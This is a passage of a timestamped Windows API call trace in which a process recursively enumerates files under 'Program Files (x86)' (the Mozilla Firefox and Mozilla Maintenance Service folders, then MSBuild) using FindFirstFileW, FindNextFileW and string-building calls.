lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0041.576] lstrcpyW (in: lpString1=0x925680, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0041.576] lstrcpyW (in: lpString1=0x925700, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="precomplete") returned 11 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0041.576] lstrcpyW (in: lpString1=0x9248d8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.577] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.577] lstrlenW (lpString="removed-files") returned 13 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0041.577] lstrcpyW (in: lpString1=0x920a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0041.577] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.577] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.577] lstrlenW (lpString="softokn3.chk") returned 12 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0041.577] lstrcpyW (in: lpString1=0x924948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0041.577] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.577] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.577] lstrlenW (lpString="softokn3.dll") returned 12 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned 51 [0041.577] lstrcpyW (in: lpString1=0x9249b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0041.577] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.577] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.577] lstrlenW (lpString="uninstall") returned 9 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0041.577] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.577] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.577] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.577] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0041.577] lstrlenW (lpString="helper.exe") returned 10 [0041.577] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0041.577] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0041.577] lstrcpyW (in: lpString1=0x925780, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0041.577] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.577] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0041.577] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0041.578] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0041.578] lstrcpyW (in: lpString1=0x925800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0041.578] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.578] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0041.578] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0041.578] lstrlenW (lpString="uninstall.log") returned 13 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0041.578] lstrcpyW (in: lpString1=0x9222d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0041.578] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.578] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.578] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.578] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0041.578] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.578] lstrlenW (lpString="update-settings.ini") returned 19 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0041.578] lstrcpyW (in: lpString1=0x925890, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0041.578] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.578] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0041.578] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.578] lstrlenW (lpString="updater.exe") returned 11 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0041.578] lstrcpyW (in: lpString1=0x924a28, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0041.578] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.578] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0041.578] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.578] lstrlenW (lpString="updater.ini") returned 11 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0041.578] lstrcpyW (in: lpString1=0x924a98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0041.578] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.578] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0041.578] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.578] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0041.578] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0041.578] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0041.578] lstrcpyW (in: lpString1=0x922358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0041.578] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.578] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.579] lstrlenW (lpString="webapprt") returned 8 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0041.579] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.579] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.579] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.579] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.579] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.579] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0041.579] lstrlenW (lpString="omni.ja") returned 7 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0041.579] lstrcpyW (in: lpString1=0x920ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0041.579] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.579] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0041.579] lstrlenW (lpString="webapprt.ini") returned 12 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0041.579] lstrcpyW (in: lpString1=0x9223e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0041.579] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.579] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.579] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.579] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.579] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0041.579] lstrcpyW (in: lpString1=0x925910, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0041.579] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.579] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0041.579] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.579] lstrlenW (lpString="xul.dll") returned 7 [0041.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0041.579] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0041.580] lstrcpyW (in: lpString1=0x925990, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0041.580] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.580] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.580] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.580] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0041.580] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0041.580] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.580] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0041.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0041.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0041.580] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0041.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0041.580] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.580] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.580] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.580] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.580] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.580] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.580] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0041.580] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0041.580] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0041.580] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0041.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0041.580] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0041.580] lstrcpyW (in: lpString1=0x9259f8, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0041.580] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.580] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0041.580] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0041.581] lstrlenW (lpString="Uninstall.exe") returned 13 [0041.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0041.581] lstrcpyW (in: lpString1=0x925a98, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0041.581] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.581] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0041.581] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0041.581] lstrlenW (lpString="updater.ini") returned 11 [0041.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0041.581] lstrcpyW (in: lpString1=0x922468, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0041.581] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.581] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.581] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.581] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0041.581] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.581] lstrlenW (lpString="MSBuild") returned 7 [0041.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0041.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0041.581] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0041.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0041.581] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 